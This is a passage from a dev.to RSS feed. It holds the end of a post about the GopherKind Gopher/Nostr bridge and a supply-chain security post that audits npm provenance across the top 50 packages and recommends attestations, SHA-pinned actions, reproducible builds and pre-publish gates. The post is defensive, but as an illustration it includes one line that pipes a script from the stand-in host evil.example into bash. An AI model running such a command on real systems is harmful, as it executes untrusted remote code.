npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;darren@600.wtf/notes
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;gopherkind@gopherkind.com
npx gopherkind &lt;span class="nb"&gt;read &lt;/span&gt;gopher://gopher.floodgap.com/1/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;a href="https://github.com/forgesworn/gopherkind" rel="noopener noreferrer"&gt;source, documentation and protocol proposal are on GitHub&lt;/a&gt;.  The &lt;a href="https://gopherkind.com/" rel="noopener noreferrer"&gt;live bridge&lt;/a&gt; is there if you want to poke around first.&lt;/p&gt;

&lt;p&gt;I don't expect Gopher to replace the web.  I do think some writing deserves a calmer interface and an address that isn't load-bearing on one forgotten box.&lt;/p&gt;

&lt;p&gt;GopherKind is still pre-1.0.  The bridge works, the npm package works and the NIP proposal remains a proposal.  That's the honest state of it.&lt;/p&gt;

</description>
      <category>nostr</category>
      <category>gopher</category>
      <category>opensource</category>
      <category>showdev</category>
    </item>
    <item>
      <title>I audited the top 50 npm packages. Almost none ship with supply-chain attestations!</title>
      <dc:creator>The Crypto Donkey</dc:creator>
      <pubDate>Mon, 13 Apr 2026 11:46:22 +0000</pubDate>
      <link>https://dev.to/thecryptodonkey/i-audited-the-top-50-npm-packages-almost-none-ship-with-supply-chain-attestations-3ki8</link>
      <guid>https://dev.to/thecryptodonkey/i-audited-the-top-50-npm-packages-almost-none-ship-with-supply-chain-attestations-3ki8</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;I checked the 50 most-downloaded npm packages last week to see how many ship with supply-chain provenance.&lt;/p&gt;

&lt;p&gt;Six...&lt;/p&gt;

&lt;p&gt;That's 12%, roughly three years after npm launched provenance (public beta April 2023, GA September 2023).&lt;/p&gt;

&lt;p&gt;The other 44 tarballs are signed by the npm registry and nothing else. Nothing actually links them back to a source&lt;br&gt;
commit, a CI run, or even a specific human. Your &lt;code&gt;package-lock.json&lt;/code&gt; guarantees tarball integrity, but not who built the&lt;br&gt;
tarball or from which source.&lt;/p&gt;

&lt;p&gt;The basic fix is two lines. The full fix is harder, and that's the point of this post.&lt;/p&gt;
&lt;h2&gt;
  
  
  The audit
&lt;/h2&gt;

&lt;p&gt;I took the 50 most-downloaded npm packages by weekly downloads (npm public downloads API, week of 6th-12th April 2026).&lt;br&gt;
For each one, I fetched the latest version manifest and then checked the npm attestations endpoint for a&lt;br&gt;
&lt;code&gt;slsa.dev/provenance/v1&lt;/code&gt; predicate. No predicate, no provenance.&lt;/p&gt;

&lt;p&gt;Six packages do however have it: &lt;code&gt;semver&lt;/code&gt;, &lt;code&gt;emoji-regex&lt;/code&gt;, &lt;code&gt;eslint-visitor-keys&lt;/code&gt;, &lt;code&gt;esbuild&lt;/code&gt;, &lt;code&gt;agent-base&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;eslint-scope&lt;/code&gt;. The two ESLint packages share a release pipeline, so the honest count is five independent publishers out&lt;br&gt;
of fifty.&lt;/p&gt;

&lt;p&gt;There's a full table at the bottom. A few things jumped out at me, as I went through it.&lt;/p&gt;
&lt;h3&gt;
  
  
  What's NOT in the top 50!
&lt;/h3&gt;

&lt;p&gt;Look at what isn't there: react, lodash, axios, express, vue, webpack, vite, dotenv, eslint. None of them.&lt;/p&gt;

&lt;p&gt;The top 50 by raw weekly downloads is dominated by the transitive utility layer everyone depends on: chalk, ansi-styles,&lt;br&gt;
semver, debug, ms, picomatch, glob. The packages developers name as their dependencies sit below position 50. The&lt;br&gt;
packages those packages depend on, transitively, sit at the top.&lt;/p&gt;

&lt;p&gt;Which means the supply-chain layer underneath everything you ship has 12% provenance.&lt;/p&gt;
&lt;h3&gt;
  
  
  The single biggest gap: &lt;code&gt;@types/node&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;@types/node&lt;/code&gt; ranks #17 with 290 million weekly downloads and ships with no attestations of any kind. It is published by&lt;br&gt;
the DefinitelyTyped publish bot, and every TypeScript project on the planet pulls it in. Of the 44 packages in the top&lt;br&gt;
50 without provenance, this is the single largest by download volume. Fixing this one package alone would deliver more&lt;br&gt;
attestation coverage to the ecosystem than any other single change.&lt;/p&gt;
&lt;h3&gt;
  
  
  Meta publishes &lt;code&gt;react-is&lt;/code&gt; without provenance
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;react-is&lt;/code&gt; has 245 million weekly downloads. Look at how it gets published.&lt;/p&gt;

&lt;p&gt;It's pushed by &lt;code&gt;react-bot&lt;/code&gt; from npm CLI version 10.8.2. No attestation. No CI identity. No commit binding. No Sigstore&lt;br&gt;
signature. Whatever workflow produced this tarball, the registry has no record tying it to a specific source commit.&lt;/p&gt;

&lt;p&gt;This is Meta. They run some of the most sophisticated CI in the world. React might be the most consequential JavaScript&lt;br&gt;
artefact on the planet. And a utility package in the React ecosystem ships with less provenance than a hobbyist's side&lt;br&gt;
project, because the hobbyist is &lt;code&gt;esbuild&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Microsoft publishes &lt;code&gt;typescript&lt;/code&gt; without provenance
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;typescript&lt;/code&gt; (163M weekly) and &lt;code&gt;tslib&lt;/code&gt; (337M weekly) are both pushed by &lt;code&gt;typescript-bot&lt;/code&gt; with no attestations. Microsoft&lt;br&gt;
is a Sigstore steward. Azure has an entire product wing around supply-chain attestation. And the packages backing every&lt;br&gt;
TypeScript build in the world have no cryptographic link to their source.&lt;/p&gt;
&lt;h3&gt;
  
  
  &lt;code&gt;ms@2.1.3&lt;/code&gt; has been load-bearing since 2020
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ms&lt;/code&gt; has 395 million weekly downloads. The current latest, &lt;code&gt;2.1.3&lt;/code&gt;, was published in December 2020. Publisher is&lt;br&gt;
&lt;code&gt;styfle&lt;/code&gt;, a Vercel engineer, pushing from a personal account. No CI, no attestation, no stable release since December&lt;br&gt;
2020.&lt;/p&gt;

&lt;p&gt;Every Node.js application you've ever built has &lt;code&gt;ms&lt;/code&gt; several layers deep. If styfle's npm account happened to be&lt;br&gt;
compromised, an attacker could push &lt;code&gt;ms@2.1.4&lt;/code&gt; with a cryptominer in it, and every fresh &lt;code&gt;npm install&lt;/code&gt; in the world&lt;br&gt;
would pull it within hours. The only thing preventing this is that nobody has done it yet.&lt;/p&gt;
&lt;h3&gt;
  
  
  Sindre Sorhus publishes 13 of the 50
&lt;/h3&gt;

&lt;p&gt;Thirteen of the top 50 are Sindre's: &lt;code&gt;chalk&lt;/code&gt;, &lt;code&gt;strip-ansi&lt;/code&gt;, &lt;code&gt;supports-color&lt;/code&gt;, &lt;code&gt;ansi-regex&lt;/code&gt;, &lt;code&gt;ansi-styles&lt;/code&gt;, &lt;code&gt;has-flag&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;find-up&lt;/code&gt;, &lt;code&gt;locate-path&lt;/code&gt;, &lt;code&gt;path-exists&lt;/code&gt;, &lt;code&gt;string-width&lt;/code&gt;, &lt;code&gt;wrap-ansi&lt;/code&gt;, &lt;code&gt;path-key&lt;/code&gt;, &lt;code&gt;get-stream&lt;/code&gt;. Zero with provenance.&lt;/p&gt;

&lt;p&gt;If one maintainer adopted provenance across his portfolio, the headline stat in this post would shift from 12% to 38%.&lt;/p&gt;
&lt;h3&gt;
  
  
  Only one org does this consistently: ESLint
&lt;/h3&gt;

&lt;p&gt;The six positives break down into five publishers: the npm team (semver), Mathias Bynens (emoji-regex), Evan Wallace (&lt;br&gt;
esbuild), TooTallNate (agent-base via the proxy-agents monorepo), and the ESLint org (eslint-visitor-keys and&lt;br&gt;
eslint-scope, both via release-please). Of those, only ESLint ships provenance across multiple packages. Every other&lt;br&gt;
positive is a one-off — a single maintainer who bolted provenance onto one package. There is no broader org push visible&lt;br&gt;
in the top 50 yet.&lt;/p&gt;
&lt;h2&gt;
  
  
  The two-line fix
&lt;/h2&gt;

&lt;p&gt;If you maintain a package, here's the fix.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;id-token&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;npm publish --provenance --access public&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First block opts your workflow into OIDC. Second tells npm to attach a provenance attestation. Done. Every release from&lt;br&gt;
now on carries a Sigstore-signed claim linking the tarball back to a specific commit and workflow run.&lt;/p&gt;

&lt;p&gt;pnpm and yarn have equivalent &lt;code&gt;--provenance&lt;/code&gt; flags. JSR auto-includes attestations when publishing from CI.&lt;/p&gt;

&lt;p&gt;That's the headline ask. If you stop reading here and ship that change, you've improved the supply-chain posture of&lt;br&gt;
every consumer of your package. Worth doing.&lt;/p&gt;

&lt;p&gt;But provenance alone doesn't save you. Here's why.&lt;/p&gt;
&lt;h2&gt;
  
  
  The tj-actions story
&lt;/h2&gt;

&lt;p&gt;On 14 March 2025 someone compromised the &lt;code&gt;tj-actions/changed-files&lt;/code&gt; GitHub Action (CVE-2025-30066). It's used in over&lt;br&gt;
23,000 repositories to work out which files changed in a PR.&lt;/p&gt;

&lt;p&gt;The attacker repointed multiple existing Git tags (v1.0.0, v35.7.7-sec, v44.5.1, v5, several others) to a single&lt;br&gt;
malicious commit, &lt;code&gt;0e58ed8671d6b60d0890c21b07f8835ace038e67&lt;/code&gt;. That commit dumped CI/CD secrets out of runner memory and&lt;br&gt;
into the action's own log output. For public repos, anyone with a browser could harvest them.&lt;/p&gt;

&lt;p&gt;The fix, then and now, is SHA-pinning. If your workflow uses this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@v44&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You're trusting whatever commit &lt;code&gt;v44&lt;/code&gt; happens to point to right now. The maintainer, or an attacker who controls the&lt;br&gt;
maintainer's GitHub account, can change that commit at any time and you won't notice.&lt;/p&gt;

&lt;p&gt;Pin to a SHA instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tj-actions/changed-files@&amp;lt;full-commit-sha&amp;gt;&lt;/span&gt;  &lt;span class="c1"&gt;# plus a comment with the version it corresponds to&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That commit is immutable. The same workflow run a year from now uses the same code.&lt;/p&gt;

&lt;p&gt;So your release workflow needs provenance AND SHA-pinned actions. Two separate protections, neither of which gives you&lt;br&gt;
the other.&lt;/p&gt;

&lt;h2&gt;
  
  
  The reproducibility gap
&lt;/h2&gt;

&lt;p&gt;There's a third gap. Even with provenance and SHA-pinned actions, you're trusting the workflow itself.&lt;/p&gt;

&lt;p&gt;Provenance proves the tarball came out of &lt;code&gt;your-repo/.github/workflows/release.yml&lt;/code&gt; at commit &lt;code&gt;abc123&lt;/code&gt;. It does not&lt;br&gt;
prove that someone independently verifying the source can rebuild the same tarball.&lt;/p&gt;

&lt;p&gt;Why does that matter? If your workflow is compromised, say an attacker pushes a commit that runs an extra&lt;br&gt;
&lt;code&gt;curl https://evil.example/inject.sh | bash&lt;/code&gt; before the publish step, the resulting tarball will have a perfectly valid&lt;br&gt;
provenance attestation. The attestation just says "this came from this workflow at this commit." It doesn't say "this&lt;br&gt;
matches what a clean rebuild from source would produce."&lt;/p&gt;

&lt;p&gt;Reproducible builds close that gap. The workflow records exactly how the tarball was built. A third party (you, a&lt;br&gt;
security researcher, a paranoid downstream consumer) can clone the source at the recorded commit, run the same build,&lt;br&gt;
and check the output matches the published tarball bit-for-bit. If it doesn't match, something injected itself between&lt;br&gt;
the source and the artefact.&lt;/p&gt;

&lt;p&gt;This is harder to set up than provenance. You need deterministic builds, a documented build environment, and&lt;br&gt;
verification tooling. Most npm packages don't bother. Most of them probably could.&lt;/p&gt;

&lt;h2&gt;
  
  
  The pre-publish gate gap
&lt;/h2&gt;

&lt;p&gt;There's a fourth gap, and this one's almost trivial but almost nobody enforces it.&lt;/p&gt;

&lt;p&gt;If your workflow runs &lt;code&gt;npm publish&lt;/code&gt; without first running &lt;code&gt;npm test&lt;/code&gt;, &lt;code&gt;npm run lint&lt;/code&gt;, and &lt;code&gt;npm run typecheck&lt;/code&gt; and&lt;br&gt;
failing the publish if any of them fail, you've left a window for shipping broken code by accident.&lt;/p&gt;

&lt;p&gt;This isn't a supply-chain attack class on its own. But it compounds the others. If your tests would have caught a&lt;br&gt;
malicious commit but they didn't run before the publish, the malicious commit ships. If your linter would have flagged&lt;br&gt;
the suspicious &lt;code&gt;eval()&lt;/code&gt; but it didn't run, the flag is silent.&lt;/p&gt;

&lt;p&gt;Every reasonable release pipeline should have hard pre-publish gates. Most don't. Adding them to a workflow is a few&lt;br&gt;
dozen lines of YAML and an afternoon of debugging your jobs DAG.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full defence is four things
&lt;/h2&gt;

&lt;p&gt;Pulling this together:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Provenance attestations&lt;/strong&gt;: link the tarball to a specific source commit and workflow&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SHA-pinned action dependencies&lt;/strong&gt;: actions can't be swapped under you&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reproducible build verification&lt;/strong&gt;: third parties can verify the tarball matches source&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard pre-publish gates&lt;/strong&gt;: tests, lint, type-check must pass or no release&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each one is honestly, not that hard on its own. The problem is doing all four, getting them right and keeping them right&lt;br&gt;
as your workflow evolves, and... not breaking anything in the process.&lt;/p&gt;

&lt;p&gt;A typical release workflow trying to do all four ends up at 200 to 400 lines of YAML, with shell scripts inlined as&lt;br&gt;
&lt;code&gt;run:&lt;/code&gt; blocks, error handling that's easy to get wrong, and edge cases (what if the tag doesn't match the version?, what&lt;br&gt;
if the changelog is missing?, what if the prepack script tries to escape the JSON parser?) that mostly get discovered&lt;br&gt;
the hard way.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where to start
&lt;/h2&gt;

&lt;p&gt;The two-line provenance fix is the easiest win. Ship that today, please. Whichever package you maintain, your downstream&lt;br&gt;
users are better off for it.&lt;/p&gt;

&lt;p&gt;For the rest (SHA-pinning, reproducibility verification, pre-publish gates), wire them into your own workflow as you&lt;br&gt;
have time. The four ideas matter more than any particular implementation.&lt;/p&gt;

&lt;p&gt;If you'd rather start from a worked example, i've been hacking on a small GitHub Action&lt;br&gt;
called &lt;a href="https://github.com/forgesworn/anvil" rel="noopener noreferrer"&gt;anvil&lt;/a&gt; that bundles all four. Pure bash, no npm dependencies, sized to be&lt;br&gt;
readable end-to-end. Take it, fork it, ignore it, whatever's useful for you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What none of this covers
&lt;/h2&gt;

&lt;p&gt;Even with all four protections in place, three things stay outside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Compromise of your source repo.&lt;/strong&gt; If an attacker has commit access and pushes malicious code, the pipeline will
faithfully build, attest, and publish that code. Garbage in, signed garbage out. The defence here is branch
protections, code review, and a trusted committer set.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compromise of npm itself.&lt;/strong&gt; The attestation infrastructure trusts npm's registry to serve attestation files
honestly. If npm is compromised, all bets are off across the ecosystem.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak tests.&lt;/strong&gt; Pre-publish gates fire if your tests pass. Weak tests mean weak gates. The pipeline audits your
release process, not your code.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These protections make the publishing journey trustworthy. They don't make your code trustworthy. Different problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The full data
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Weekly DLs&lt;/th&gt;
&lt;th&gt;Latest&lt;/th&gt;
&lt;th&gt;Provenance?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;semver&lt;/td&gt;
&lt;td&gt;610,243,244&lt;/td&gt;
&lt;td&gt;7.7.4&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;debug&lt;/td&gt;
&lt;td&gt;532,691,311&lt;/td&gt;
&lt;td&gt;4.4.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;minimatch&lt;/td&gt;
&lt;td&gt;523,461,265&lt;/td&gt;
&lt;td&gt;10.2.5&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ansi-styles&lt;/td&gt;
&lt;td&gt;522,769,972&lt;/td&gt;
&lt;td&gt;6.2.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;strip-ansi&lt;/td&gt;
&lt;td&gt;411,102,176&lt;/td&gt;
&lt;td&gt;7.2.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;chalk&lt;/td&gt;
&lt;td&gt;396,817,233&lt;/td&gt;
&lt;td&gt;5.6.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;ms&lt;/td&gt;
&lt;td&gt;395,779,232&lt;/td&gt;
&lt;td&gt;2.1.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;supports-color&lt;/td&gt;
&lt;td&gt;385,913,524&lt;/td&gt;
&lt;td&gt;10.2.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;ansi-regex&lt;/td&gt;
&lt;td&gt;379,372,821&lt;/td&gt;
&lt;td&gt;6.2.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;string-width&lt;/td&gt;
&lt;td&gt;364,135,592&lt;/td&gt;
&lt;td&gt;8.2.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;commander&lt;/td&gt;
&lt;td&gt;340,189,824&lt;/td&gt;
&lt;td&gt;14.0.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;tslib&lt;/td&gt;
&lt;td&gt;337,234,183&lt;/td&gt;
&lt;td&gt;2.8.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;picomatch&lt;/td&gt;
&lt;td&gt;323,026,531&lt;/td&gt;
&lt;td&gt;4.0.4&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;wrap-ansi&lt;/td&gt;
&lt;td&gt;320,436,278&lt;/td&gt;
&lt;td&gt;10.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;emoji-regex&lt;/td&gt;
&lt;td&gt;312,985,608&lt;/td&gt;
&lt;td&gt;10.6.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;glob&lt;/td&gt;
&lt;td&gt;309,837,287&lt;/td&gt;
&lt;td&gt;13.0.6&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;@types/node&lt;/td&gt;
&lt;td&gt;290,430,824&lt;/td&gt;
&lt;td&gt;25.6.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;color-name&lt;/td&gt;
&lt;td&gt;264,344,627&lt;/td&gt;
&lt;td&gt;2.1.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;color-convert&lt;/td&gt;
&lt;td&gt;262,462,195&lt;/td&gt;
&lt;td&gt;3.1.3&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;readable-stream&lt;/td&gt;
&lt;td&gt;261,917,376&lt;/td&gt;
&lt;td&gt;4.7.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;eslint-visitor-keys&lt;/td&gt;
&lt;td&gt;254,322,113&lt;/td&gt;
&lt;td&gt;5.0.1&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;has-flag&lt;/td&gt;
&lt;td&gt;250,891,975&lt;/td&gt;
&lt;td&gt;5.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;ajv&lt;/td&gt;
&lt;td&gt;249,009,348&lt;/td&gt;
&lt;td&gt;8.18.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;react-is&lt;/td&gt;
&lt;td&gt;245,659,013&lt;/td&gt;
&lt;td&gt;19.2.5&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;uuid&lt;/td&gt;
&lt;td&gt;230,086,504&lt;/td&gt;
&lt;td&gt;13.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;find-up&lt;/td&gt;
&lt;td&gt;229,152,120&lt;/td&gt;
&lt;td&gt;8.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;glob-parent&lt;/td&gt;
&lt;td&gt;226,159,537&lt;/td&gt;
&lt;td&gt;6.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;safe-buffer&lt;/td&gt;
&lt;td&gt;222,239,808&lt;/td&gt;
&lt;td&gt;5.2.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;locate-path&lt;/td&gt;
&lt;td&gt;220,855,701&lt;/td&gt;
&lt;td&gt;8.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;postcss&lt;/td&gt;
&lt;td&gt;195,793,780&lt;/td&gt;
&lt;td&gt;8.5.9&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;31&lt;/td&gt;
&lt;td&gt;string_decoder&lt;/td&gt;
&lt;td&gt;188,111,762&lt;/td&gt;
&lt;td&gt;1.3.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;acorn&lt;/td&gt;
&lt;td&gt;183,503,639&lt;/td&gt;
&lt;td&gt;8.16.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;33&lt;/td&gt;
&lt;td&gt;mime-db&lt;/td&gt;
&lt;td&gt;180,737,586&lt;/td&gt;
&lt;td&gt;1.54.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;34&lt;/td&gt;
&lt;td&gt;ws&lt;/td&gt;
&lt;td&gt;177,306,431&lt;/td&gt;
&lt;td&gt;8.20.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;mime-types&lt;/td&gt;
&lt;td&gt;177,084,777&lt;/td&gt;
&lt;td&gt;3.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;path-key&lt;/td&gt;
&lt;td&gt;176,474,004&lt;/td&gt;
&lt;td&gt;4.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;yargs-parser&lt;/td&gt;
&lt;td&gt;170,472,845&lt;/td&gt;
&lt;td&gt;22.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;38&lt;/td&gt;
&lt;td&gt;yargs&lt;/td&gt;
&lt;td&gt;167,217,371&lt;/td&gt;
&lt;td&gt;18.0.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;estraverse&lt;/td&gt;
&lt;td&gt;166,362,125&lt;/td&gt;
&lt;td&gt;5.3.0&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;40&lt;/td&gt;
&lt;td&gt;esbuild&lt;/td&gt;
&lt;td&gt;164,021,497&lt;/td&gt;
&lt;td&gt;0.28.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;typescript&lt;/td&gt;
&lt;td&gt;163,781,296&lt;/td&gt;
&lt;td&gt;6.0.2&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;fs-extra&lt;/td&gt;
&lt;td&gt;161,928,194&lt;/td&gt;
&lt;td&gt;11.3.4&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;agent-base&lt;/td&gt;
&lt;td&gt;159,319,294&lt;/td&gt;
&lt;td&gt;9.0.0&lt;/td&gt;
&lt;td&gt;YES&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;cliui&lt;/td&gt;
&lt;td&gt;157,997,558&lt;/td&gt;
&lt;td&gt;9.0.1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;path-exists&lt;/td&gt;
&lt;td&gt;157,258,167&lt;/td&gt;
&lt;td&gt;5.0.0&lt;/td&gt;
